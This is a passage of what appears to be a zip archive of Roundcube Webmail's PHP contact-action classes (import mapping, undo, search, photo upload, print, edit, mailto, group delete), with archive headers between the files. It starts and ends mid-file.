        $field_table->add_header($attrib['table-col-destination-class'] ?: null, $rcmail->gettext('destination'));

        $map = $_SESSION['contactcsvimport']['map'];
        foreach ($map['source'] as $i => $name) {
            $field_table->add('title', html::label('rcmimportmap' . $i, rcube::Q($name)));
            $field_table->add(null, $fieldlist->show(array_key_exists($i, $map['destination']) ? $map['destination'][$i] : '', ['id' => 'rcmimportmap' . $i]));
        }

        $form = '';
        $form .= html::tag('input', ['type' => 'hidden', 'name' => '_unlock', 'value' => '']);

        // show option to import data from first line of the file
        $check_header = new html_checkbox(['name' => '_skip_header', 'value' => 1, 'id' => 'rcmskipheader']);
        $form .= html::p(null, html::label('rcmskipheader', $check_header->show(1) . $rcmail->gettext('skipheader')));

        $form .= $field_table->show();

        $attrib = ['action' => $rcmail->url('import'), 'method' => 'post'] + $attrib + ['id' => 'rcmImportFormMap'];

        $rcmail->output->add_gui_object('importformmap', $attrib['id']);

        return html::p(null, rcube::Q($rcmail->gettext('importmapdesc'), 'show'))
            . $rcmail->output->form_tag($attrib, $form);
    }

    /**
     * Render the confirmation page for the import process
     */
    public static function import_confirm($attrib)
    {
        $rcmail = rcmail::get_instance();
        $vars   = get_object_vars(self::$stats);
        $vars['names'] = $vars['skipped_names'] = '';

        $content = html::p(null, $rcmail->gettext([
                'name' => 'importconfirm',
                'nr'   => self::$stats->inserted,
                'vars' => $vars,
            ]) . (self::$stats->names ? ':' : '.')
        );

        if (self::$stats->names) {
            $content .= html::p('em', join(', ', array_map(['rcube', 'Q'], self::$stats->names)));
        }

        if (self::$stats->skipped) {
            $content .= html::p(null, $rcmail->gettext([
                    'name' => 'importconfirmskipped',
                    'nr'   => self::$stats->skipped,
                    'vars' => $vars,
                ]) . ':')
                . html::p('em', join(', ', array_map(['rcube', 'Q'], self::$stats->skipped_names)));
        }

        return html::div($attrib, $content);
    }

    /**
     * Returns the matching group id. If group doesn't exist, it'll be created if allowed.
     */
    public static function import_group_id($group_name, $contacts, $create, &$import_groups)
    {
        $group_id = 0;
        foreach ($import_groups as $group) {
            if (strtolower($group['name']) === strtolower($group_name)) {
                $group_id = $group['ID'];
                break;
            }
        }

        // create a new group
        if (!$group_id && $create) {
            $new_group = $contacts->create_group($group_name);

            if (empty($new_group['ID'])) {
                $new_group['ID'] = $new_group['id'];
            }

            $import_groups[] = $new_group;
            $group_id        = $new_group['ID'];
        }

        return $group_id;
    }
}
PK
h�\�7�W
W
!program/actions/contacts/undo.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Undelete contacts (CIDs) from last delete action                    |
 +-----------------------------------------------------------------------+
 | Author: Aleksander Machniak <machniak@kolabsys.com>                   |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_contacts_undo extends rcmail_action_contacts_index
{
    protected static $mode = self::MODE_AJAX;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();
        $delcnt = 0;

        if (!empty($_SESSION['contact_undo']) && !empty($_SESSION['contact_undo']['data'])) {
            foreach ((array) $_SESSION['contact_undo']['data'] as $source => $cid) {
                $contacts = self::contact_source($source);

                $plugin = $rcmail->plugins->exec_hook('contact_undelete', [
                        'id'     => $cid,
                        'source' => $source
                ]);

                $restored = empty($plugin['abort']) ? $contacts->undelete($cid) : $plugin['result'];

                if (!$restored) {
                    $error = !empty($plugin['message']) ? $plugin['message'] : 'contactrestoreerror';

                    $rcmail->output->show_message($error, 'error');
                    $rcmail->output->command('list_contacts');
                    $rcmail->output->send();
                }
                else {
                    $delcnt += $restored;
                }
            }
        }

        $rcmail->session->remove('contact_undo');

        if ($delcnt) {
            $rcmail->output->show_message('contactrestored', 'confirmation');
            $rcmail->output->command('list_contacts');
        }

        // send response
        $rcmail->output->send();
    }
}
PK
h�\�����-�-#program/actions/contacts/search.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 | Copyright (C) Kolab Systems AG                                        |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Search action (and form) for address book contacts                  |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <machniak@kolabsys.com>                   |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_contacts_search extends rcmail_action_contacts_index
{
    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();

        if (empty($_GET['_form'])) {
            self::contact_search();
        }

        $rcmail->output->add_handler('searchform', [$this, 'contact_search_form']);
        $rcmail->output->send('contactsearch');
    }

    public static function contact_search()
    {
        $rcmail = rcmail::get_instance();
        $adv    = isset($_POST['_adv']);
        $sid    = rcube_utils::get_input_string('_sid', rcube_utils::INPUT_GET);
        $search = null;

        // get search criteria from saved search
        if ($sid && ($search = $rcmail->user->get_search($sid))) {
            $fields = $search['data']['fields'];
            $search = $search['data']['search'];
        }
        // get fields/values from advanced search form
        else if ($adv) {
            foreach (array_keys($_POST) as $key) {
                $s = trim(rcube_utils::get_input_string($key, rcube_utils::INPUT_POST, true));
                if (strlen($s) && preg_match('/^_search_([a-zA-Z0-9_-]+)$/', $key, $m)) {
                    $search[] = $s;
                    $fields[] = $m[1];
                }
            }

            if (empty($fields)) {
                // do nothing, show the form again
                return;
            }
        }
        // quick-search
        else {
            $search = trim(rcube_utils::get_input_string('_q', rcube_utils::INPUT_GET, true));
            $fields = rcube_utils::get_input_string('_headers', rcube_utils::INPUT_GET);

            if (empty($fields)) {
                $fields = array_keys(self::$SEARCH_MODS_DEFAULT);
            }
            else {
                $fields = array_filter(explode(',', $fields));
            }

            // update search_mods setting
            $old_mods    = $rcmail->config->get('addressbook_search_mods');
            $search_mods = array_fill_keys($fields, 1);

            if ($old_mods != $search_mods) {
                $rcmail->user->save_prefs(['addressbook_search_mods' => $search_mods]);
            }

            if (in_array('*', $fields)) {
                $fields = '*';
            }
        }

        // Values matching mode
        $mode = (int) $rcmail->config->get('addressbook_search_mode');
        $mode |= rcube_addressbook::SEARCH_GROUPS;

        // get sources list
        $sources    = $rcmail->get_address_sources();
        $sort_col   = $rcmail->config->get('addressbook_sort_col', 'name');
        $afields    = $rcmail->config->get('contactlist_fields');
        $page_size  = $rcmail->config->get('addressbook_pagesize', $rcmail->config->get('pagesize', 50));
        $search_set = [];
        $records    = [];

        foreach ($sources as $s) {
            $source = $rcmail->get_address_book($s['id']);

            // check if search fields are supported....
            if (is_array($fields)) {
                $cols = !empty($source->coltypes[0]) ? array_flip($source->coltypes) : $source->coltypes;
                $supported = 0;

                foreach ($fields as $f) {
                    if (array_key_exists($f, $cols)) {
                        $supported ++;
                    }
                }

                // in advanced search we require all fields (AND operator)
                // in quick search we require at least one field (OR operator)
                if (($adv && $supported < count($fields)) || (!$adv && !$supported)) {
                    continue;
                }
            }

            // reset page
            $source->set_page(1);
            $source->set_pagesize(9999);

            // get contacts count
            $result = $source->search($fields, $search, $mode, false);

            if (empty($result) || !$result->count) {
                continue;
            }

            // get records
            $result = $source->list_records($afields);

            while ($row = $result->next()) {
                $row['sourceid'] = $s['id'];
                $key = rcube_addressbook::compose_contact_key($row, $sort_col);
                $records[$key] = $row;
            }

            unset($result);
            $search_set[$s['id']] = $source->get_search_set();
        }

        // sort the records
        ksort($records, SORT_LOCALE_STRING);

        // create resultset object
        $count  = count($records);
        $result = new rcube_result_set($count);

        // cut first-page records
        if ($page_size < $count) {
            $records = array_slice($records, 0, $page_size);
        }

        $result->records = array_values($records);

        // search request ID
        $search_request = md5('addr'
            . (is_array($fields) ? implode(',', $fields) : $fields)
            . (is_array($search) ? implode(',', $search) : $search)
        );

        // save search settings in session
        $_SESSION['contact_search'][$search_request] = $search_set;
        $_SESSION['contact_search_params'] = ['id' => $search_request, 'data' => [$fields, $search]];
        $_SESSION['page'] = 1;

        if ($adv) {
            $rcmail->output->command('list_contacts_clear');
        }

        if ($result->count > 0) {
            // create javascript list
            self::js_contacts_list($result);
            $rcmail->output->show_message('contactsearchsuccessful', 'confirmation', ['nr' => $result->count]);
        }
        else {
            $rcmail->output->show_message('nocontactsfound', 'notice');
        }

        // update message count display
        $rcmail->output->set_env('search_request', $search_request);
        $rcmail->output->set_env('pagecount', ceil($result->count / $page_size));
        $rcmail->output->command('set_rowcount', self::get_rowcount_text($result));
        // Re-set current source
        $rcmail->output->set_env('search_id', $sid);
        $rcmail->output->set_env('source', '');
        $rcmail->output->set_env('group', '');
        // Re-set list header
        $rcmail->output->command('set_group_prop', null);

        if (!$sid) {
            // unselect currently selected directory/group
            $rcmail->output->command('unselect_directory');
            // enable "Save search" command
            $rcmail->output->command('enable_command', 'search-create', true);
        }

        $rcmail->output->command('update_group_commands');

        // send response
        $rcmail->output->send();
    }

    public static function contact_search_form($attrib)
    {
        $rcmail       = rcmail::get_instance();
        $i_size       = !empty($attrib['size']) ? $attrib['size'] : 30;
        $short_labels = self::get_bool_attr($attrib, 'short-legend-labels');

        $form = [
            'main' => [
                'name'    => $rcmail->gettext('properties'),
                'content' => [],
            ],
            'personal' => [
                'name'    => $rcmail->gettext($short_labels ? 'personal' : 'personalinfo'),
                'content' => [],
            ],
            'other' => [
                'name'    => $rcmail->gettext('other'),
                'content' => [],
            ],
        ];

        // get supported coltypes from all address sources
        $sources  = $rcmail->get_address_sources();
        $coltypes = [];

        foreach ($sources as $s) {
            $CONTACTS = $rcmail->get_address_book($s['id']);

            if (!empty($CONTACTS->coltypes)) {
                $contact_cols = isset($CONTACTS->coltypes[0]) ? array_flip($CONTACTS->coltypes) : $CONTACTS->coltypes;
                $coltypes     = array_merge($coltypes, $contact_cols);
            }
        }

        // merge supported coltypes with global coltypes
        foreach ($coltypes as $col => $colprop) {
            if (!empty(rcmail_action_contacts_index::$CONTACT_COLTYPES[$col])) {
                $coltypes[$col] = array_merge(rcmail_action_contacts_index::$CONTACT_COLTYPES[$col], (array) $colprop);
            }
            else {
                $coltypes[$col] = (array) $colprop;
            }
        }

        // build form fields list
        foreach ($coltypes as $col => $colprop) {
            if (!isset($colprop['type'])) {
                $colprop['type'] = 'text';
            }
            if ($colprop['type'] != 'image' && empty($colprop['nosearch'])) {
                $ftype    = $colprop['type'] == 'select' ? 'select' : 'text';
                $label    = $colprop['label'] ?? $rcmail->gettext($col);
                $category = !empty($colprop['category']) ? $colprop['category'] : 'other';

                // load jquery UI datepicker for date fields
                if ($colprop['type'] == 'date') {
                    $colprop['class'] = (!empty($colprop['class']) ? $colprop['class'] . ' ' : '') . 'datepicker';
                }
                else if ($ftype == 'text') {
                    $colprop['size'] = $i_size;
                }

                $colprop['id'] = '_search_' . $col;

                $content  = html::div('row',
                    html::label(['class' => 'contactfieldlabel label', 'for' => $colprop['id']], rcube::Q($label))
                    . html::div('contactfieldcontent', rcube_output::get_edit_field('search_' . $col, '', $colprop, $ftype))
                );

                $form[$category]['content'][] = $content;
            }
        }

        $hiddenfields = new html_hiddenfield();
        $hiddenfields->add(['name' => '_adv', 'value' => 1]);

        $out = $rcmail->output->request_form([
                'name'    => 'form',
                'method'  => 'post',
                'task'    => $rcmail->task,
                'action'  => 'search',
                'noclose' => true,
            ] + $attrib, $hiddenfields->show()
        );

        $rcmail->output->add_gui_object('editform', $attrib['id']);

        unset($attrib['name']);
        unset($attrib['id']);

        foreach ($form as $f) {
            if (!empty($f['content'])) {
                $content = html::div('contactfieldgroup', join("\n", $f['content']));
                $legend  = html::tag('legend', null, rcube::Q($f['name']));

                $out .= html::tag('fieldset', $attrib, $legend . $content) . "\n";
            }
        }

        return $out . '</form>';
    }
}
PK
h�\wz�22)program/actions/contacts/upload_photo.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Handles contact photo uploads                                       |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_contacts_upload_photo extends rcmail_action_contacts_index
{
    /**
     * Supported image format types
     * ImageMagick works with other non-image types (e.g. pdf), we don't want that here
     *
     * @var array
     */
    public static $IMAGE_TYPES = ['jpeg','jpg','jp2','tiff','tif','bmp','eps','gif','png','png8','png24','png32','svg','ico'];

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();

        // clear all stored output properties (like scripts and env vars)
        $rcmail->output->reset();

        if (!empty($_FILES['_photo']['tmp_name'])) {
            $filepath = $_FILES['_photo']['tmp_name'];

            // check file type and resize image
            $image     = new rcube_image($_FILES['_photo']['tmp_name']);
            $imageprop = $image->props();

            if (
                in_array(strtolower($imageprop['type']), self::$IMAGE_TYPES)
                && $imageprop['width']
                && $imageprop['height']
            ) {
                $maxsize   = intval($rcmail->config->get('contact_photo_size', 160));
                $tmpfname  = rcube_utils::temp_filename('imgconvert');
                $save_hook = 'attachment_upload';

                // scale image to a maximum size
                if (($imageprop['width'] > $maxsize || $imageprop['height'] > $maxsize) && $image->resize($maxsize, $tmpfname)) {
                    $filepath  = $tmpfname;
                    $save_hook = 'attachment_save';
                }

                // save uploaded file in storage backend
                $attachment = $rcmail->plugins->exec_hook($save_hook, [
                        'path'     => $filepath,
                        'size'     => $_FILES['_photo']['size'],
                        'name'     => $_FILES['_photo']['name'],
                        'mimetype' => 'image/' . $imageprop['type'],
                        'group'    => 'contact',
                ]);
            }
            else {
                $attachment = ['error' => $rcmail->gettext('invalidimageformat')];
            }

            if (!empty($attachment['status']) && empty($attachment['abort'])) {
                $file_id = $attachment['id'];
                $_SESSION['contacts']['files'][$file_id] = $attachment;
                $rcmail->output->command('replace_contact_photo', $file_id);
            }
            else {
                // upload failed
                self::upload_error($_FILES['_photo']['error'], $attachment);
            }
        }
        else {
            self::upload_failure();
        }

        $rcmail->output->command('photo_upload_end');
        $rcmail->output->send('iframe');
    }
}
PK
h�\�e�--"program/actions/contacts/print.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 | Copyright (C) Kolab Systems AG                                        |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Print contact details                                               |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <machniak@kolabsys.com>                   |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_contacts_print extends rcmail_action_contacts_index
{
    protected static $mode = self::MODE_HTTP;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();

        // Get contact ID and source ID from request
        $cids   = self::get_cids();
        $source = key($cids);
        $cid    = $cids ? array_first($cids[$source]) : null;

        // Initialize addressbook source
        self::$CONTACTS  = self::contact_source($source, true);
        self::$SOURCE_ID = $source;

        // read contact record
        if ($cid && self::$CONTACTS) {
            self::$contact = self::$CONTACTS->get_record($cid, true);
        }

        $rcmail->output->add_handlers([
                'contacthead'    => [$this, 'contact_head'],
                'contactdetails' => [$this, 'contact_details'],
                'contactphoto'   => [$this, 'contact_photo'],
        ]);

        $rcmail->output->send('contactprint');
    }

    public static function contact_head($attrib)
    {
        $rcmail = rcmail::get_instance();

        // check if we have a valid result
        if (!self::$contact) {
            $rcmail->output->show_message('contactnotfound', 'error');
            return false;
        }

        $form = [
            'head' => [  // section 'head' is magic!
                'name' => $rcmail->gettext('contactnameandorg'),
                'content' => [
                    'prefix'     => [],
                    'name'       => [],
                    'firstname'  => [],
                    'middlename' => [],
                    'surname'    => [],
                    'suffix'     => [],
                ],
            ],
        ];

        unset($attrib['name']);

        return self::contact_form($form, self::$contact, $attrib);
    }

    public static function contact_details($attrib)
    {
        // check if we have a valid result
        if (!self::$contact) {
            return false;
        }

        $rcmail = rcmail::get_instance();

        $form = [
            'contact' => [
                'name'    => $rcmail->gettext('properties'),
                'content' => [
                    'organization' => [],
                    'department'   => [],
                    'jobtitle'     => [],
                    'email'        => [],
                    'phone'        => [],
                    'address'      => [],
                    'website'      => [],
                    'im'           => [],
                    'groups'       => [],
                ],
            ],
            'personal' => [
                'name'    => $rcmail->gettext('personalinfo'),
                'content' => [
                    'nickname'    => [],
                    'gender'      => [],
                    'maidenname'  => [],
                    'birthday'    => [],
                    'anniversary' => [],
                    'manager'     => [],
                    'assistant'   => [],
                    'spouse'      => [],
                ],
            ],
        ];

        if (isset(rcmail_action_contacts_index::$CONTACT_COLTYPES['notes'])) {
            $form['notes'] = [
                'name'    => $rcmail->gettext('notes'),
                'content' => [
                    'notes' => ['type' => 'textarea', 'label' => false],
                ],
            ];
        }

        if (self::$CONTACTS->groups) {
            $groups = self::$CONTACTS->get_record_groups(self::$contact['ID']);
            if (!empty($groups)) {
                $form['contact']['content']['groups'] = [
                    'value' => rcube::Q(implode(', ', $groups)),
                    'label' => $rcmail->gettext('groups')
                ];
            }
        }

        return self::contact_form($form, self::$contact, $attrib);
    }
}
PK
h�\Ѝo�)�)!program/actions/contacts/edit.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Show edit form for a contact entry                                  |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_contacts_edit extends rcmail_action_contacts_index
{
    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();

        if ($rcmail->action == 'edit') {
            // Get contact ID and source ID from request
            $cids   = self::get_cids();
            $source = key($cids);
            $cid    = array_first($cids[$source]);

            // Initialize addressbook
            $CONTACTS = self::contact_source($source, true);

            // Contact edit
            if ($cid && (self::$contact = $CONTACTS->get_record($cid, true))) {
                $rcmail->output->set_env('cid', self::$contact['ID']);
            }

            // editing not allowed here
            if ($CONTACTS->readonly || !empty(self::$contact['readonly'])) {
                $rcmail->output->show_message('sourceisreadonly');
                $rcmail->overwrite_action('show');
                return;
            }

            if (empty(self::$contact)) {
                $rcmail->output->show_message('contactnotfound', 'error');
            }
        }
        else {
            $source = rcube_utils::get_input_string('_source', rcube_utils::INPUT_GPC);

            if (strlen($source)) {
                $CONTACTS = $rcmail->get_address_book($source, true);
            }

            if (empty($CONTACTS) || $CONTACTS->readonly) {
                $CONTACTS = $rcmail->get_address_book(rcube_addressbook::TYPE_DEFAULT, true);
                $source   = $rcmail->get_address_book_id($CONTACTS);
            }

            // Initialize addressbook
            $CONTACTS = self::contact_source($source, true);
        }

        self::$SOURCE_ID = $source;
        self::$CONTACTS  = $CONTACTS;
        self::set_sourcename($CONTACTS);

        // check if we have a valid result
        if (!empty($args['contact'])) {
            self::$contact = $args['contact'];
        }

        $rcmail->output->add_handlers([
                'contactedithead' => [$this, 'contact_edithead'],
                'contacteditform' => [$this, 'contact_editform'],
                'contactphoto'    => [$this, 'contact_photo'],
                'photouploadform' => [$this, 'upload_photo_form'],
                'sourceselector'  => [$this, 'source_selector'],
                'filedroparea'    => [$this, 'photo_drop_area'],
        ]);

        $rcmail->output->set_pagetitle($rcmail->gettext(($rcmail->action == 'add' ? 'addcontact' : 'editcontact')));

        if ($rcmail->action == 'add' && $rcmail->output->template_exists('contactadd')) {
            $rcmail->output->send('contactadd');
        }

        // this will be executed if no template for addcontact exists
        $rcmail->output->send('contactedit');
    }

    public static function contact_edithead($attrib)
    {
        $rcmail = rcmail::get_instance();
        $business_mode = $rcmail->config->get('contact_form_mode') === 'business';

        // check if we have a valid result
        $i_size = !empty($attrib['size']) ? $attrib['size'] : 20;

        $form = [
            'head' => [
                'name' => $rcmail->gettext('contactnameandorg'),
                'content' => [
                    'source'        => ['id' => '_source', 'label' => $rcmail->gettext('addressbook')],
                    'prefix'        => ['size' => $i_size],
                    'firstname'     => ['size' => $i_size, 'visible' => true],
                    'middlename'    => ['size' => $i_size],
                    'surname'       => ['size' => $i_size, 'visible' => true],
                    'suffix'        => ['size' => $i_size],
                    'name'          => ['size' => $i_size * 2],
                    'nickname'      => ['size' => $i_size * 2],
                    'organization'  => ['size' => $i_size * 2, 'visible' => $business_mode],
                    'department'    => ['size' => $i_size * 2, 'visible' => $business_mode],
                    'jobtitle'      => ['size' => $i_size * 2, 'visible' => $business_mode],
                ]
            ]
        ];

        list($form_start, $form_end) = self::get_form_tags($attrib);
        unset($attrib['form'], $attrib['name'], $attrib['size']);

        // return the address edit form
        $out = self::contact_form($form, self::$contact, $attrib);

        return $form_start . $out . $form_end;
    }

    public static function contact_editform($attrib)
    {
        $rcmail   = rcmail::get_instance();
        $addr_tpl = $rcmail->config->get('address_template', '');

        // copy (parsed) address template to client
        if (preg_match_all('/\{([a-z0-9]+)\}([^{]*)/i', $addr_tpl, $templ, PREG_SET_ORDER)) {
            $rcmail->output->set_env('address_template', $templ);
        }

        $i_size       = !empty($attrib['size']) ? $attrib['size'] : 40;
        $t_rows       = !empty($attrib['textarearows']) ? $attrib['textarearows'] : 10;
        $t_cols       = !empty($attrib['textareacols']) ? $attrib['textareacols'] : 40;
        $short_labels = self::get_bool_attr($attrib, 'short-legend-labels');

        $form = [
            'contact' => [
                'name'    => $rcmail->gettext('properties'),
                'content' => [
                    'email'   => ['size' => $i_size, 'maxlength' => 254, 'visible' => true],
                    'phone'   => ['size' => $i_size, 'visible' => true],
                    'address' => ['visible' => true],
                    'website' => ['size' => $i_size],
                    'im'      => ['size' => $i_size],
                ],
            ],
            'personal' => [
                'name'    => $rcmail->gettext($short_labels ? 'personal' : 'personalinfo'),
                'content' => [
                    'gender'      => ['visible' => true],
                    'maidenname'  => ['size' => $i_size],
                    'birthday'    => ['visible' => true],
                    'anniversary' => [],
                    'manager'     => ['size' => $i_size],
                    'assistant'   => ['size' => $i_size],
                    'spouse'      => ['size' => $i_size],
                ],
            ],
        ];

        if (isset(self::$CONTACT_COLTYPES['notes'])) {
            $form['notes'] = [
                'name'    => $rcmail->gettext('notes'),
                'single'  => true,
                'content' => [
                    'notes' => ['size' => $t_cols, 'rows' => $t_rows, 'label' => false, 'visible' => true, 'limit' => 1],
                ],
            ];
        }

        list($form_start, $form_end) = self::get_form_tags($attrib);
        unset($attrib['form']);

        // return the complete address edit form as table
        $out = self::contact_form($form, self::$contact, $attrib);

        return $form_start . $out . $form_end;
    }

    public static function upload_photo_form($attrib)
    {
        $rcmail = rcmail::get_instance();
        $hidden = new html_hiddenfield(['name' => '_cid', 'value' => $rcmail->output->get_env('cid')]);

        $attrib['prefix'] = $hidden->show();
        $input_attr       = ['name' => '_photo', 'accept' => 'image/*'];

        $rcmail->output->add_label('addphoto','replacephoto');

        return self::upload_form($attrib, 'uploadform', 'upload-photo', $input_attr);
    }

    /**
     * similar function as in /steps/settings/edit_identity.inc
     * @todo: Use rcmail_action::get_form_tags()
     */
    public static function get_form_tags($attrib, $action = null, $id = null, $hidden = null)
    {
        static $edit_form;

        $rcmail = rcmail::get_instance();
        $form_start = $form_end = '';

        if (empty($edit_form)) {
            $hiddenfields = new html_hiddenfield();

            if ($rcmail->action == 'edit') {
                $hiddenfields->add(['name' => '_source', 'value' => self::$SOURCE_ID]);
            }

            $hiddenfields->add(['name' => '_gid', 'value' => self::$CONTACTS->group_id]);
            $hiddenfields->add(['name' => '_search', 'value' => rcube_utils::get_input_string('_search', rcube_utils::INPUT_GPC)]);

            if ($cid = $rcmail->output->get_env('cid')) {
                $hiddenfields->add(['name' => '_cid', 'value' => $cid]);
            }

            $form_attrib = [
                'name'    => 'form',
                'method'  => 'post',
                'task'    => $rcmail->task,
                'action'  => 'save',
                'request' => 'save.' . intval($cid),
                'noclose' => true,
            ];

            $form_start = $rcmail->output->request_form($form_attrib + $attrib, $hiddenfields->show());
            $form_end   = empty($attrib['form']) ? '</form>' : '';
            $edit_form  = !empty($attrib['form']) ? $attrib['form'] : 'form';

            $rcmail->output->add_gui_object('editform', $edit_form);
        }

        return [$form_start, $form_end];
    }

    /**
     * Register container as active area to drop photos onto
     */
    public static function photo_drop_area($attrib)
    {
        $rcmail = rcmail::get_instance();

        if (!empty($attrib['id'])) {
            $rcmail->output->add_gui_object('filedrop', $attrib['id']);
            $rcmail->output->set_env('filedrop', [
                    'action'    => 'upload-photo',
                    'fieldname' => '_photo',
                    'single'    => 1,
                    'filter'    => '^image/.+'
            ]);
        }
    }
}
PK
h�\�0gII#program/actions/contacts/mailto.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Compose a recipient list with all selected contacts                 |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_contacts_mailto extends rcmail_action_contacts_index
{
    // only process ajax requests
    protected static $mode = self::MODE_AJAX;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail  = rcmail::get_instance();
        $cids    = self::get_cids();
        $mailto  = [];
        $sources = [];

        foreach ($cids as $source => $cid) {
            $contacts = $rcmail->get_address_book($source);

            if ($contacts->ready) {
                $contacts->set_page(1);
                $contacts->set_pagesize(count($cid) + 2); // +2 to skip counting query
                $sources[] = $contacts->search($contacts->primary_key, $cid, 0, true, true, 'email');
            }
        }

        if (!empty($_REQUEST['_gid']) && isset($_REQUEST['_source'])) {
            $source   = rcube_utils::get_input_string('_source', rcube_utils::INPUT_GP);
            $group_id = rcube_utils::get_input_string('_gid', rcube_utils::INPUT_GP);

            $contacts   = $rcmail->get_address_book($source);
            $group_data = $contacts->get_group($group_id);

            // group has an email address assigned: use that
            if (!empty($group_data['email'])) {
                $mailto[] = format_email_recipient($group_data['email'][0], $group_data['name']);
            }
            else if ($contacts->ready) {
                $maxnum = (int) $rcmail->config->get('max_group_members');

                $contacts->set_group($group_id);
                $contacts->set_page(1);
                $contacts->set_pagesize($maxnum ?: 999);
                $sources[] = $contacts->list_records();
            }
        }

        foreach ($sources as $source) {
            while (is_object($source) && ($rec = $source->iterate())) {
                $emails = rcube_addressbook::get_col_values('email', $rec, true);

                if (!empty($emails)) {
                    $mailto[] = format_email_recipient($emails[0], $rec['name']);
                }
            }
        }

        if (!empty($mailto)) {
            $mailto_str = join(', ', $mailto);
            $mailto_id  = substr(md5($mailto_str), 0, 16);
            $_SESSION['mailto'][$mailto_id] = urlencode($mailto_str);
            $rcmail->output->command('open_compose_step', ['_mailto' => $mailto_id]);
        }
        else {
            $rcmail->output->show_message('nocontactsfound', 'warning');
        }

        // send response
        $rcmail->output->send();
    }
}
PK
h�\�S2X
X
)program/actions/contacts/group_delete.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   A handler for contact group delete action                           |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_contacts_group_delete extends rcmail_action_contacts_index
{
    // only process ajax requests
    protected static $mode = self::MODE_AJAX;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail   = rcmail::get_instance();
        $source   = rcube_utils::get_input_string('_source', rcube_utils::INPUT_GPC);
        $contacts = self::contact_source($source);

        if ($contacts->readonly || !$contacts->groups) {
            $rcmail->output->show_message('sourceisreadonly', 'warning');
            $rcmail->output->send();
        }

        if ($gid = rcube_utils::get_input_string('_gid', rcube_utils::INPUT_POST)) {
            $plugin = $rcmail->plugins->exec_hook('group_delete', [
                    'group_id' => $gid,
                    'source'   => $source,
            ]);

            if (empty($plugin['abort'])) {
                $deleted = $contacts->delete_group($gid);
            }
            else {
                $deleted = $plugin['result'];
            }
        }

        if (!empty($deleted)) {
            $rcmail->output->show_message('groupdeleted', 'confirmation');
            $rcmail->output->command('remove_group_item', ['source' => $source, 'id' => $gid]);
        }
        else {
            $error = !empty($plugin['message']) ? $plugin['message'] : 'errorsaving';
            $rcmail->output->show_message($error, 'error');
        }

